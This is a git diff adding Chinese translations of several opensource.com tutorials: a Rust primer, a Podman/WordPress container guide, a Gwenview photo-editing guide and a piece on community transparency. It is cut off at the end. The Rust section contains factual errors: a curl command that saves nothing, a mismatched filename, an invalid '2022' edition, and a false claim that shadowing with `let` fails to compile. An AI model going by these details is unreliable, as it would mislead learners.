+开源不仅仅指的是软件。开源是一种文化现象,自然也适合桌面游戏。花几个晚上的时间来尝试制作游戏。如果你是新手,那就从一些简单的开始,比如下面的这个空白卡牌游戏: + + 1. 找来一些朋友。 + 2. 给每个人几张空白的索引卡,告诉他们在每张卡片上写一条规则。规则可以是任何东西(“如果你穿着红色衣服,你就赢了”或“第一个站起来的人赢”等等)。 + 3. 在你自己的索引卡片上,写上 “和”、“但是”、“但是不要”、“而且不要”、“除了”,以及其他的条件短语。 + 4. 洗牌并将牌发给所有玩家。 + 5. 每个玩家轮到的时候出一张牌。 + 6. 最终目标是获胜,但是玩家可以通过出 “和”、“但是”、“或者” 卡片来修改决定胜负的条件。 + +这是一个有趣的聚会游戏,同时是一份很好的介绍,告诉你如何像游戏设计者一样思考,它帮助你认识到什么适合作为游戏机制,什么不适合。 + +还有,当然的,这是开源的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-card-game + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hadisi1993](https://github.com/hadisi1993) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rich-smith-unsplash.jpg?itok=uzzS0gRa (Deck of playing cards) +[2]: https://opensource.com/article/20/1/what-creative-commons +[3]: https://opensource.com/article/21/12/opengameart.org/ +[4]: http://freesvg.org +[5]: http://artstation.com +[6]: http://deviantart.com +[7]: https://opensource.com/article/21/12/krita-digital-paint +[8]: https://opensource.com/article/21/12/linux-draw-inkscape +[9]: https://opensource.com/content/cheat-sheet-gimp +[10]: https://opensource.com/sites/default/files/inkscape-layout.jpg (Layout in Inkscape) +[11]: https://www.thegamecrafter.com/ +[12]: https://opensource.com/sites/default/files/cards-printed_0.jpg (Printed cards) +[13]: https://opensource.com/life/16/11/software-documentation-tabletop-gaming diff --git a/published/202205/20220113 Learn Rust in 2022.md b/published/202205/20220113 Learn Rust in 2022.md new file mode 100644 index 0000000000..5995ca8a67 --- /dev/null +++ b/published/202205/20220113 Learn Rust in 2022.md @@ -0,0 +1,275 @@ +[#]: subject: "Learn Rust in 2022" +[#]: via: "https://opensource.com/article/22/1/rust-cheat-sheet" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14563-1.html" + +2022 Rust 入门指南 +====== + +> 如果你打算在今年探索 Rust,请下载我们的免费 Rust 速查表,以供快速参考基础知识。 + +![](https://img.linux.net.cn/data/attachment/album/202205/08/161625lvo8v82ell9l3xmm.jpg) + +Rust 是一门相对较新的编程语言,受到各个企业的 [程序员的欢迎][2]。尽管如此,它仍是一门建立在之前所有事物之上的语言。毕竟,Rust 不是一天做出来的,所以即便 Rust 中的一些概念看起来与你从 Python、Java、C++ 等编程语言学到的东西大不相同,但它们都是基于同一个基础,那就是你一直与之交互(无论你是否知道)的 CPU 和 NUMA(非统一内存访问Non Uniform Memory Access)架构,因此 Rust 中的一些新功能让人感觉有些熟悉。 + +现在,我的职业不是程序员。我没耐心但我又有点儿强迫症。当我需要完成某件事时,如果一门语言不能帮助我相对较快地获得想要的结果,那么我很少会受到鼓舞而使用它。Rust 试图平衡两个矛盾:现代计算机对安全和结构化代码的需求,和现代程序员对编码工作事半功倍的渴望。 + +### 安装 Rust + +[rust-lang.org][3] 网站有丰富的的文档指导如何安装 Rust,但通常,它就像下载 `sh.rustup.rs` 脚本并运行它一样简单。 + +``` +$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs +$ less sh.rustup.sh +$ sh ./sh.rustup.rs +``` + +### 没有类 + +Rust 没有类,也不使用 `class` 关键字。Rust 确实有 `struct` 数据类型,但它的作用是充当数据集合的一种模板。因此,你可以使用结构体struct,而不是创建一个类来表示虚拟对象: + +``` +struct Penguin { +  genus: String, +  species: String, +  extinct: bool, +  classified: u64, +} +``` + +你可以像使用类一样使用它。例如,当定义完 `Penguin` 结构,你就可以创建它的实例,并与该实例进行交互: + +``` +struct Penguin { +  genus: String, +  species: String, +  extinct: bool, +  classified: u64, +} + +fn main() { +  let p = Penguin { genus: "Pygoscelis".to_owned(), +   species: "R adeliæ".to_owned(),  +   extinct: false,  +   classified: 1841 }; + +  println!("Species: {}", p.species);     +  println!("Genus: {}", p.genus); +  println!("Classified in {}", p.classified); +  if p.extinct == true { +    println!("Sadly this penguin has been made extinct."); +  } +} +``` + +将 `impl` 数据类型与 `struct` 数据类型结合使用,你可以实现一个包含函数的结构体,并且可以添加继承和其他与类相似的特性。 + +### 函数 + +Rust 中的函数很像其他语言中的函数。每个函数都代表一组严谨的任务,你可以在需要时调用它们。主函数名必须是 `main`。 + +用 `fn` 关键字声明函数,后跟函数名称和函数接受的所有参数。 + +``` +fn foo() { +  let n = 8; +  println!("Eight is written as {}", n); +} +``` + +通过参数,将信息从一个函数传递到另一个函数。例如,我已经创建了一个 `Penguin` 类(结构),并且我有一个 `Penguin` 的实例为 `p`,将目标函数的参数指定为 `Penguin` 类型,就可把 `p` 的属性从一个函数传递到另一个函数。 + +``` +fn main() { +  let p = Penguin { genus: "Pygoscelis".to_owned(),  +    species: "R adeliæ".to_owned(),  +    extinct: false, classified: 1841 }; +  printer(p); +} + +fn printer(p: Penguin) { +  println!("Species: {}", p.species);     +  println!("Genus: {}", p.genus); +  println!("Classified in {}", p.classified); +  if p.extinct == true { +    println!("Sadly this penguin has been made extinct."); +  } +} +``` + +### 变量 + +Rust 默认创建的为不可变immutable变量。这意味着你创建的变量以后无法更改。这段代码虽然看起来没问题,但无法编译: + +``` +fn main() { +  let n = 6; +  let n = 5; +} +``` + +但你可以使用关键字 `mut` 声明一个可变mutable变量,因此下面这段代码可以编译成功: + +``` +fn main() { +  let mut n = 6; +  println!("Value is {}", n); +  n = 5; +  println!("Value is {}", n); +} +``` + +### 编译 + +Rust 编译器,至少就其报错信息而言,是可用的最好的编译器之一。当你在 Rust 中出错时,编译器会真诚地告诉你做错了什么。实际上,仅通过从编译器错误消息中学习,我就了解了 Rust 的许多细微差别(就我理解到的 Rust 的任何细微差别而言)。即便有时错误消息太过于模糊,而不知所以然,互联网搜索几乎总能得到解释。 + +启动 Rust 程序的最简单方法是使用 `cargo`,它是 Rust 的包管理和构建系统。 + +``` +$ mkdir myproject +$ cd myproject +$ cargo init  +``` + +以上命令为项目创建了基本的基础架构,最值得注意的是 `src` 子目录中的 `main.rs` 文件。打开此文件,把我为本文生成的示例代码粘贴进去: + +``` +struct Penguin { +  genus: String, +  species: String, +  extinct: bool, +  classified: u64, +} + +fn main() { +  let p = Penguin { genus: "Pygoscelis".to_owned(), species: "R adeliæ".to_owned(), extinct: false, classified: 1841 }; +  printer(p); +  foo(); +} + +fn printer(p: Penguin) { +  println!("Species: {}", p.species);     +  println!("Genus: {}", p.genus); +  println!("Classified in {}", p.classified); +  if p.extinct == true { +    println!("Sadly this penguin has been made extinct."); +  } +} + +fn foo() { +  let mut n = 6; +  println!("Value is {}", n); +  n = 8; +  println!("Eight is written as {}", n); +} +``` + +使用 `cargo build` 命令进行编译: + +``` +$ cargo build +``` + +执行 `target` 子目录下的二进制程序,或者直接运行 `cargo run` 命令来运行你的项目: + +``` +$ cargo run +Species: R adeliæ +Genus: Pygoscelis +Classified in 1841 +Value is 6 +Eight is written as 8 +``` + +### Crates + +任何语言的大部分便利都来自于它的库或模块。在 Rust 中,进行分发和跟踪的库称为 “crate”(箱子)。[crates.io][4] 是一个很好的社区 crate 注册网站。 + +把一个 crate 添加到你的 Rust 项目,首先要在 `Cargo.toml` 文件中添加这个 crate。例如,要安装随机数函数,我使用名为 `rand` 的 crate,使用 `*` 作为通配符,以确保在编译时获得最新版本: + +``` +[package] +name = "myproject" +version = "0.1.0" +authors = ["Seth "] +edition = "2022" + +[dependencies] +rand = "*" +``` + +在 Rust 代码中使用它需要在最顶行使用 `use` 语句: + +``` +use rand::Rng; +``` + +以下是一些创建随机种子和随机范围的示例代码: + +``` +fn foo() { +  let mut rng = rand::thread_rng(); +  let mut n = rng.gen_range(1..99); + +  println!("Value is {}", n); +  n = rng.gen_range(1..99); +  println!("Value is {}", n); +} +``` + +你可以使用 `cargo run` 来运行它,它会检测代码是否被更改并触发一个新的构建。构建过程中下载名为 `rand` 的 `crete` 和它依赖的所有 `crate`,编译代码,然后运行它: + +``` +$ cargo run +Updating crates.io index +Downloaded ppv-lite86 v0.2.16 +Downloaded 1 crate (22.2 KB) in 1.40s + Compiling libc v0.2.112 + Compiling cfg-if v1.0.0 + Compiling ppv-lite86 v0.2.16 + Compiling getrandom v0.2.3 + Compiling rand_core v0.6.3 + Compiling rand_chacha v0.3.1 + Compiling rand v0.8.4 + Compiling rustpenguin v0.1.0 (/home/sek/Demo/rustpenguin) + Finished dev [unoptimized + debuginfo] target(s) in 13.97s + Running `target/debug/rustpenguin` + +Species: R adeliæ +Genus: Pygoscelis +Classified in 1841 +Value is 70 +Value is 35 +``` + +### Rust 速查表 + +Rust 是一门令人非常愉快的语言。集成了在线注册网站、有用的编译器和几乎直观的语法,它给人的适当的现代感。 + +但请不要误会,Rust 仍是一门复杂的语言,它具有严格的数据类型、强作用域变量和许多内置方法。Rust 值得一看,如果你要探索它,那么你应该下载我们的免费 [Rust 速查表][6],以便快速了解基础知识。越早开始,就越早了解 Rust。当然,你应该经常练习以避免生疏。 + +> **[Rust 速查表][6]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/rust-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coverimage_cheat_sheet.png?itok=lYkNKieP (Cheat Sheet cover image) +[2]: https://opensource.com/article/20/5/rust-java +[3]: http://rust-lang.org +[4]: https://crates.io/ +[5]: mailto:seth@opensource.com +[6]: https://opensource.com/downloads/rust-cheat-sheet diff --git a/published/202205/20220212 5 levels of transparency for open source communities.md b/published/202205/20220212 5 levels of transparency for open source communities.md new file mode 100644 index 0000000000..3525fa220b --- /dev/null +++ b/published/202205/20220212 5 levels of transparency for open source communities.md @@ -0,0 +1,100 @@ +[#]: subject: "5 levels of transparency for open source communities" +[#]: via: "https://opensource.com/article/22/2/transparency-open-source-communities" +[#]: author: "Emilio Galeano Gryciuk https://opensource.com/users/egaleano" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14596-1.html" + +开源社区透明度的五个层次 +====== + +> 如果想让开源社区繁荣发展,管理者需要达到透明度的五个层次。 + +![](https://img.linux.net.cn/data/attachment/album/202205/15/150842yrvm9v5qbbd7a355.jpg) + +开源社区的管理者必须意识到社区有五个层次的透明度,这对于建设繁荣发展的开源社区来说至关重要。 + +本文将详细介绍各个层次及其目标与作用。不过首先,我想谈一谈透明度对开源社区的重要性。 + +### 为什么开源社区需要保证透明度? + + * 透明能够增进社区成员之间的信任,促进合作。 + * 开放是社区合作和交流的前提。 + * 只有在开放透明的环境下,开源工作才能避免矛盾与冲突。 + * 社区管理者需要向参与者报告社区情况。 + * 向成员公开社区各项情况,营造信任氛围,有利于社区健康发展。 + +### 透明度的五个层次 + +#### 层次一:发布源码 + +在这一层次,社区需要遵循 [OSI 认可的许可证][2],在 [Git][3] 等公开的版本控制系统上发布源码。 + +层次一的目标在于创建开源项目。 + + * 建立开源社区,理应达到这一层次。因为没有公开源代码,也就无所谓开源项目。 + * 开源项目的核心便是参与者们编写的源码,并在 OSI 批准的许可证下授权。 + * 公开的版本控制系统能够促进合作,使得每一位开发者都能了解项目情况,理解合作模式。 + +#### 层次二:发布社区指南 + +达到这一层次,需要发布相关文档以及资源。也可通过组织活动来指导社区成员。 + +层次二的目标在于为一个开源项目建立和发展一个开源社区。 + + * 建立一个活跃的社区需要的不仅仅是源代码。 + * 公开项目开展方式和贡献方式,能够吸引更多的开发者参与到项目当中。 + * 为了推动社区的发展,管理者可能需要举办一些重要活动,并为贡献者们筹办一些特殊的活动。 + +#### 层次三:继往开来 + +到了这个层次,管理者有必要分享自己对于社区的见解,发布项目进展情况报告。 + +层次三的目标在于继往开来,确保社区进入后续阶段后能够更上一层楼,实现长远发展。 + + * 随着开源社区的发展,社区内的情况将会越来越难以把握。 + * 公开社区活动,让成员意识到自己的付出能够为公众所见,为公众所识。 + * 在这一层次,无论是报告还是分析,发布的时间并不固定,使用的工具也无定法。 + +#### 层次四:掌握社区的动态 + +这一层次就在于倾听社区声音:通过观察社区活动,关注项目发展;跟进软件开发进度,据此采取合适的应对措施。 + +层次四的目标在于保持科学严谨的态度,持续把握社区的发展情况及发展轨迹,引导社区朝着下一个层次迈进。 + + * 建立报告机制,运用分析工具,掌握社区动态。 + * 将社区的各项活动与社区成员的反响与基线和社区内的其他活动进行比较。 + * 坚持倾听社区声音,形成对于社区更深刻的见解。 + +#### 层次五:维护社区,长久发展 + +最后一个层次就是依据社区各项指标,提高社区成员的参与度。 + +层次五的目标在于制定行之有效、能够产生积极影响的决策方案,让开发者更好地参与社区项目。 + + * 适当调整系统,以适应社区各项指标的变动。 + * 跟进这些变动,理解它们是如何通过各项指标和数据分析体现出来的。 + * 针对社区维护者与开发者,制定服务等级协议和问责制度,为其设立参与度目标,确保项目整体顺利进行。 + +### 总结 + +开源社区管理者需要做到上述五个层次,保证透明度,才能构建起一个繁荣发展的社区。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/transparency-open-source-communities + +作者:[Emilio Galeano Gryciuk][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/egaleano +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_dandelion_520x292.png?itok=-xhFQvUj (Person in a field of dandelions) +[2]: https://opensource.org/licenses +[3]: https://opensource.com/tags/git diff --git a/published/202205/20220219 Crop and resize photos on Linux with Gwenview.md b/published/202205/20220219 Crop and resize photos on Linux with Gwenview.md new file mode 100644 index 0000000000..861d6da3c5 --- /dev/null +++ b/published/202205/20220219 Crop and resize photos on Linux with Gwenview.md @@ -0,0 +1,120 @@ +[#]: subject: "Crop and resize photos on Linux with Gwenview" +[#]: via: "https://opensource.com/article/22/2/crop-resize-photos-gwenview-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14550-1.html" + +用 Gwenview 在 Linux 上裁剪和调整照片大小 +====== + +> Gwenview 是一个优秀的照片编辑器,适合业余摄影师在 Linux KDE 桌面上使用。 + +![](https://img.linux.net.cn/data/attachment/album/202205/05/221207dtkjbbe1jets7n3u.jpg) + +一张好的照片可以蕴含很多信息。表面上它表达了你所看到的,但它也讲述了你所经历的。细微之处也能说明很多问题:你在拍照时选择的角度、取景中隐约可见的的东西有多大,以及,相比之下,那些有意识选择忽略的部分。 + +照片通常并不意味着记录真实发生的事情,相反,它们会成为你(摄影师)如何看待发生的事情的洞察力。 + +这就是照片编辑如此普遍的原因之一。当你把照片发布到你的在线图片库或社交网络时,你不应该发布一张不能准确表达照片所包含的感受的照片。但同样的道理,你也不应该成为一个专业的照片合成师,而只是为了剪掉在最后时刻将头伸进你的家庭快照的路人。如果你使用的是 KDE,你可以使用 Gwenview 这种休闲照片编辑器。 + +### 在 Linux 上安装 Gwenview + +如果你正在运行 KDE Plasma 桌面,你可能已经安装了 Gwenview。如果你没有安装,或者你正在使用一个不同的桌面,而你想尝试 Gwenview,那么你可以用你的软件包管理器安装它。 + +我建议同时安装 Gwenview 和 Kipi 插件集,它可以将 Gwenview 与几个在线照片服务连接起来,这样你就可以轻松上传照片。在 Fedora、Mageia 和类似发行版上: + +``` +$ sudo dnf install gwenview kipi-plugins +``` + +在 Debian、Elementary 和类似版本上: + +``` +$ sudo apt install gwenview kipi-plugins +``` + +### 使用 Gwenview + +Gwenview 通常有两种启动方式。你可以在 Dolphin 中点击图片文件,并选择在 Gwenview 中打开它;或者你可以启动 Gwenview,并在文件夹中寻找照片,Gwenview 或多或少可以充当你的文件管理器。第一种方法是直接的方法,很适合快速方便地预览图片文件。第二种方法是当你浏览大量照片,不确定哪一个版本的照片是“正确的”时,你可能会使用。 + +无论你如何启动 Gwenview,界面和功能都是一样的:右边有一个工作区,左边有一个面板。 + +![Gwenview][2] + +(Seth Kenlon [CC BY-SA 4.0][3], Photo courtesy [Andrea De Santis][4]) + +在左边的面板下面,有三个标签: + + * 文件夹Folders:显示你电脑上的文件夹的树状视图,以便你可以浏览你的文件,寻找更多的照片。 + * 信息Information:提供关于你目前正在查看的照片的元数据。 + * 操作Operations:允许你对当前的照片进行小的修改,如在横向和纵向之间旋转、调整大小和裁剪等。 + +Gwenview 能理解文件系统,所以你可以按键盘上的**右**或**左**箭头,查看文件夹中的上一张或下一张照片。 + +要离开单张照片视图并查看一个文件夹中的所有图片,请点击顶部工具栏中的“浏览Browse”按钮。 + +![Browsing photos in a folder][5] + +(Seth Kenlon,[CC BY-SA 4.0][3]) + +你也可以同时拥有两种视图。点击 Gwenview 底部的“缩略图栏Thumbnail Bar”按钮,可以以电影胶片的形式看到当前文件夹中的其他图片,而当前选择的照片则在主面板中。 + +![Thumbnail view][6] + +(Seth Kenlon,[CC BY-SA 4.0][3]) + +### 用 Gwenview 编辑照片 + +数码照片是很常见的,因此在网上发布或与朋友分享之前,需要对照片进行细微的调整也是同样常见。有非常好的应用可以编辑照片,事实上,其中最好的一个是另一个 KDE 应用,叫做 Krita(你可以在我的 [给摄影者的 Krita][7] 文章中阅读我如何使用它来处理照片),但是小的调整不应该需要艺术学位。这正是 Gwenview 所确保的:用一个休闲但功能强大的应用进行简单而快速的照片调整,并与你的 Plasma 桌面的其他部分整合。 + +我们大多数人对照片进行的最常见的调整是: + + * **旋转**:当你的相机没有提供正确的元数据让你的电脑知道一张照片是要以横向还是纵向观看时,你可以手动修复它。 + * **镜像**:许多笔记本电脑或面部摄像头模仿镜子,这很有用,因为这是我们习惯于看到自己的方式。但是,它会使文字逆转。**镜像**功能可以从右到左翻转图像。 + * **翻转**:在数码相机和笔记本电脑上不太常见,但在手机上,无论你怎么拿手机,使用倒置设备拍照的现象在屏幕翻转的手机中并不少见。**翻转**功能可将图像旋转 180 度。 + * **调整大小**:数字图像现在通常具有超高清尺寸,有时这比你需要的要多得多。如果你通过电子邮件发送照片或将其发布在你想要优化加载时间的网页上,你可以将尺寸(和相应的文件大小)缩小到更小的尺寸。 + * **裁剪**:你有一张很棒的自己的照片,但不小心偶然发现了一个你认为不合适的人。用裁剪工具剪掉你不想要的所有东西。 + * **红眼**:当你的视网膜将相机的闪光灯反射回相机时,会得到红眼效果。Gwenview 可以通过在可调节区域中对红色通道进行去饱和和变暗来减少这种情况。 + +所有这些工具都在“操作Operations”侧面板或“编辑Edit”菜单中可用。这些操作具有破坏性,因此在你进行更改后,单击“另存为Save As”以保存图像的 _副本_。 + +![Cropping a photo in Gwenview][8] + +(Seth Kenlon,[CC BY-SA 4.0][3],照片由 [Elise Wilcox][9] 提供) + +### 分享照片 + +当你准备好分享照片时,单击顶部工具栏中的“分享Share”按钮,或转到“插件Plugins”菜单并选择“导出Export”。Gwenview 与 Kipi 插件集成在一起,可以在 [Nextcloud][10]、[Piwigo][11]、普通旧电子邮件以及 Google Drive、Flickr、Dropbox 等服务共享照片。 + +### Linux 上的照片编辑要点 + +Gwenview 拥有桌面照片管理器的所有必需功能。如果你需要的不仅仅是基本功能,你可以在 Krita 或 [Digikam][12] 中打开一张照片,并根据需要进行重大修改。对于其他一切,从浏览、排名、标记和小调整,Gwenview 都很方便。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/crop-resize-photos-gwenview-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/design_photo_art_polaroids.png?itok=SqPLgWxJ (Polaroids and palm trees) +[2]: https://opensource.com/sites/default/files/kde-gwenview-ui.jpg (Gwenview) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: http://unsplash.com/@santesson89 +[5]: https://opensource.com/sites/default/files/kde-gwenview-browse.jpg (Browsing photos in a folder) +[6]: https://opensource.com/sites/default/files/kde-gwenview-thumbnail.jpg (Thumbnail view) +[7]: https://opensource.com/article/21/12/open-source-photo-editing-krita +[8]: https://opensource.com/sites/default/files/kde-gwenview-crop.jpg (Cropping a photo in Gwenview) +[9]: http://unsplash.com/@elise_outside +[10]: https://opensource.com/article/20/7/nextcloud +[11]: https://opensource.com/alternatives/google-photos +[12]: https://opensource.com/life/16/5/how-use-digikam-photo-management diff --git a/published/202205/20220221 3 steps to start running containers today.md b/published/202205/20220221 3 steps to start running containers today.md new file mode 100644 index 0000000000..433148e741 --- /dev/null +++ b/published/202205/20220221 3 steps to start running containers today.md @@ -0,0 +1,179 @@ +[#]: subject: "3 steps to start running containers today" +[#]: via: "https://opensource.com/article/22/2/start-running-containers" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14584-1.html" + +当下运行容器的 3 个步骤 +====== + +> 在本教程中,你将学习如何在一个“吊舱”中运行两个容器来托管一个 WordPress 站点。 + +![](https://img.linux.net.cn/data/attachment/album/202205/12/121429y2s9v96rxxk2litk.jpg) + +无论你是将其作为工作的一部分、未来的工作机会或者仅仅是出于对新技术的兴趣,容器对很多人,即使是经验丰富的系统管理员,可能是非常难以应付的。那么如何真正开始使用容器呢?从容器到 [Kubernetes][2] 的成长路径是什么?另外,为什么有不止一条路径?如你所料,最好的起点就是现在。 + +### 1、了解容器 + +略一回忆,容器的开端可以追溯到早期 BSD 及其特殊的 chroot 监狱,但让我们直接跳到发展中期讲起。 + +之前,Linux 内核引入了 “控制组cgroup”,允许你能够使用 “命名空间namespace” 来“标记”进程。当你将进程分组到一个命名空间时,这些进程的行为就像在命名空间之外的东西不存在一样,这就像你把这些进程放入某种容器中。当然,这种容器是虚拟的,它位于计算机内部,它和你操作系统的其余进程使用相同的内核、内存和 CPU,但你用容器包含了这些进程。 + +分发的预制容器仅包含运行它所包含的应用程序必须的内容。使用容器引擎,如 [Podman][3]、Docker 或 CRI-O,你可以运行一个容器化应用程序,而无需进行传统意义上的安装。容器引擎通常是跨平台的,因此即使容器运行在 Linux 上,你也可以在其他 Linux、MacOS 或 Windows 上启动容器。 + +更重要的是,当需求量很大时,你可以运行同一应用程序的多个容器。 + +现在你知道了什么是容器,下一步是运行一个容器。 + +### 2、运行一个容器 + +在运行容器之前,你应该有一个想要运行它的理由。你可以编一个,这有助于你对让容器创建过程感兴趣,这样你就会受到鼓舞,真正去使用你所运行的容器。毕竟,运行容器但不使用它提供的应用程序,只能证明你没有注意到任何故障,但使用容器证明它可以工作。 + +我推荐从 WordPress 开始,它是一个很流行的 Web 应用程序,容易使用,所以一旦容器运行起来,你就可以测试使用它。虽然你可以轻松地配置一个 WordPress 容器,但还是有很多配置选项可以引导你发现更多运行容器的方式(例如运行数据库容器)以及容器如何通信。 + +我使用 Podman,它是一个友好、方便且无守护进程的容器引擎。如果你没有安装 Podman,可以改用 Docker 命令。它们都是很棒的开源容器引擎,而且它们的语法是相同的(只需输入 `docker` 而不是 `podman`)。因为 Podman 没有守护进程,所以它需要更多的配置,但为了这种运行免 root、无守护进程的容器的能力是值得的。 + +如果你使用 Docker,可以跳到下面的 [运行 WordPress 容器][5] 小节,否则,打开终端安装并配置 Podman: + +``` +$ sudo dnf install podman +``` + +容器会产生许多进程,通常只有 root 用户有权创建数千个进程 ID。创建一个名为 `/etc/subuid` 的文件,定义一个适当的起始 UID 和大量合法的 PID,这样就可以为你添加一些额外的进程 ID: + +``` +seth:200000:165536 +``` + +在名为 `/etc/subgid` 的文件中对你的组执行相同的操作。在这个例子中,我的主要组是 `staff`(对你来说可能是 `users`,或者和你的用户名一样,这取决于你的系统)。 + +``` +staff:200000:165536 +``` + +最后,确认你的用户可以管理很多命名空间: + +``` +$ sysctl --all --pattern user_namespaces +user.max_user_namespaces = 28633 +``` + +如果你的用户无权管理超过 28,000 个命名空间,创建 `/etc/sysctl.d/userns.conf` 文件来增加数量并输入: + +``` +user.max_user_namespaces=28633 +``` + +#### 运行 WordPress 容器 + +现在,无论你使用的是 Podman 还是 Docker,你都可以从在线容器仓库中下载 WordPress 容器并运行它。你可以使用以下 Podman 命令完成所有这些操作: + +``` +$ podman run --name mypress \ + -p 8080:80 -d wordpress +``` + +给 Podman 一会时间来找到容器、从互联网下载它,然后启动。 + +在收到终端返回提示符后,启动 Web 浏览器,打开 `localhost:8080`。WordPress 正在运行,等待你进行设置。 + +![WordPress 容器][6] + +不过,你很快就会遇到障碍,因为 WordPress 使用数据库来存储数据,因此你需要为其提供一个数据库。 + +在继续之前,停止并删除 WordPress 容器: + +``` +$ podman stop mypress +$ podman rm mypress +``` + +### 3、在吊舱中运行容器 + +正如名字所暗示的那样,容器在设计上是独立的。在容器中运行的应用程序不应该与在容器外的应用程序或基础设施进行交互。因此,当一个容器需要另一个容器才能运行时,一种解决方案是将这两个容器放在一个更大的容器中,称为 “吊舱pod”。吊舱确保其容器可以共享重要的命名空间以便相互通信。 + +创建一个新的吊舱,为它提供一个名称,以及希望能够访问的端口: + +``` +$ podman pod create \ + --name wp_pod \ + --publish 8080:80 +``` + +确认吊舱存在: + +``` +$ podman pod list +POD ID        NAME     STATUS    INFRA ID      # OF CONTAINERS +100e138a29bd  wp_pod   Created   22ace92df3ef   1 +``` +#### 将容器添加到吊舱 + +现在你已经为相互依赖的容器创建了一个吊舱,你可以通过指定一个运行的吊舱来启动每个容器。 + +首先,启动一个数据库容器。你可以创建自己的凭据,只要在 WordPress 连接到数据库时使用相同的凭据。 + +``` +$ podman run --detach \ + --pod wp_pod \ + --restart=always \ + -e MYSQL_ROOT_PASSWORD="badpassword0" \ + -e MYSQL_DATABASE="wp_db" \ + -e MYSQL_USER="tux" \ + -e MYSQL_PASSWORD="badpassword1" \ + --name=wp_db mariadb +``` + +接下来,在同一个吊舱中启动 WordPress 容器: + +``` +$ podman run --detach \ + --restart=always --pod=wp_pod \ + -e WORDPRESS_DB_NAME="wp_db" \ + -e WORDPRESS_DB_USER="tux" \ + -e WORDPRESS_DB_PASSWORD="badpassword1" \ + -e WORDPRESS_DB_HOST="127.0.0.1" \ + --name mypress wordpress +``` + +现在启动你最喜欢的网络浏览器并打开 `localhost:8080`。 + +这一次,设置会正常进行。WordPress 会连接到数据库,因为你在启动容器时传递了这些环境变量。 + +![WordPress 启动][8] + +创建用户账户后,你可以登录查看 WordPress 仪表板。 + +![WordPress dashboard running in a container][9] + +### 下一步 + +你已经创建了两个容器,并在一个吊舱中运行了它们。你现在已经了解了如何在自己的服务器上运行容器及服务。如果你想迁移到云,容器非常适合你。使用像 Kubernetes 和 OpenShift 这样的工具,你可以自动化启动 [集群上的容器和吊舱][10]。如果你正在考虑采取下一步行动,阅读 Kevin Casey 的 [3 个开始使用 Kubernetes 的方法][11],并尝试他提到的 Minikube 教程。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/start-running-containers + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bus-containers.png?itok=d_4QhZxT (Shipping containers stacked) +[2]: https://opensource.com/tags/kubernetes +[3]: https://www.redhat.com/sysadmin/podman-guides-2020 +[4]: https://enterprisersproject.com/cheat-sheet-what-s-difference-between-pod-cluster-and-container +[5]: tmp.1zBHYsK8TH#wp +[6]: https://opensource.com/sites/default/files/uploads/podman-wordpress.jpg (WordPress running in a container) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://opensource.com/sites/default/files/uploads/wordpress-setup.jpg (WordPress setup) +[9]: https://opensource.com/sites/default/files/uploads/wordpress-welcome.jpg (WordPress dashboard running in a container) +[10]: https://enterprisersproject.com/article/2020/9/pod-cluster-container-what-is-difference +[11]: https://enterprisersproject.com/article/2019/11/kubernetes-3-ways-get-started diff --git a/published/202205/20220327 Top 10 Linux Distributions for Programmers in 2022 -Featured.md b/published/202205/20220327 Top 10 Linux Distributions for Programmers in 2022 -Featured.md new file mode 100644 index 0000000000..e2caf8ed1d --- /dev/null +++ b/published/202205/20220327 Top 10 Linux 